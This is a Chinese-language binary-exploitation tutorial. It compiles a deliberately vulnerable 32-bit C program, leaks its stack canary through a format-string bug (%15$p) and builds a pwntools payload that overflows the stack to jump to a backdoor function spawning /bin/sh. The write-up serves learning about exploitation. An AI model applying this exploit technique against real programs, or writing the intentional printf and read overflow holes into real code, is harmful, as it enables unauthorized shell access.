PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell

发布于:2025-05-01 ⋅ 阅读:(16) ⋅ 点赞:(0)

测试源码:

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

编译,开启 canary 保护,关闭 pie 保护:

gcc -no-pie -fstack-protector-all -m32 canary.c -o canary

检查确认一下:

checksec canary

gdb 动调,看一下 func 函数:

disass func

写入 canary 的位置:

0x08048540 <+18>:	mov    eax,gs:0x14
0x08048546 <+24>:	mov    DWORD PTR [ebp-0xc],eax

我们需要利用 printf 函数泄露 canary 地址,先在 printf 函数处下断点:

b *0x08048565

然后运行,期间会经过第一个 read 函数,随便输入:RRR  

查看当前栈内容:

stack 0x20

根据前面的代码,我们知道 canary 在 ebp-0xc 位置,使用 p 和 x 命令看一下:

p $ebp-0xc 
x $ebp-0xc 

p 只显示了地址,x 还显示了地址处的内容

canary 所在地址为 0xffffcffc,内容为 0xe8ac1700

我们在栈上面找一下 0xe8ac1700

距离栈顶偏移值为 15

下面我们重新运行了一下,来到输入位置,利用格式化字符串漏洞,输入:

%15$p

重新运行 canary 值会变:现在是 0x37133900

继续往下走,可以发现打印出的值就是 canary 的值

再看一下 canary 距离我们输入字符串的距离,偏移是 8 

这部分后面需要填充为垃圾数据

先写个 exp 泄露 canary:

from pwn import *
io = process('./canary')
io.sendline('%15$p') # 发送泄露 canary 的内容,也就是前面的 %15$p
canary = io.recv() #接收 canary 值
print(canary)  #打印canary

但是测试发现,输出结果多了一个换行符

使用 python 切片处理一下:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
print(canary) 

没有问题

接下来我们看一下 canary 到 main 函数的返回地址的偏移:

偏移是 3 

最后再看一下返回地址,也就是我们后门函数 exploit 的地址:

disass exploit
0x080484e6

完整 exp:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
canary = int(canary,16)
print(canary) 
canary_offset = 8*4
ret_offset = 3*4
exp_addr = 0x080484e6
payload = b'a'*canary_offset + p32(canary) + b'a'*ret_offset + p32(exp_addr)
io.sendline(payload)
io.interactive()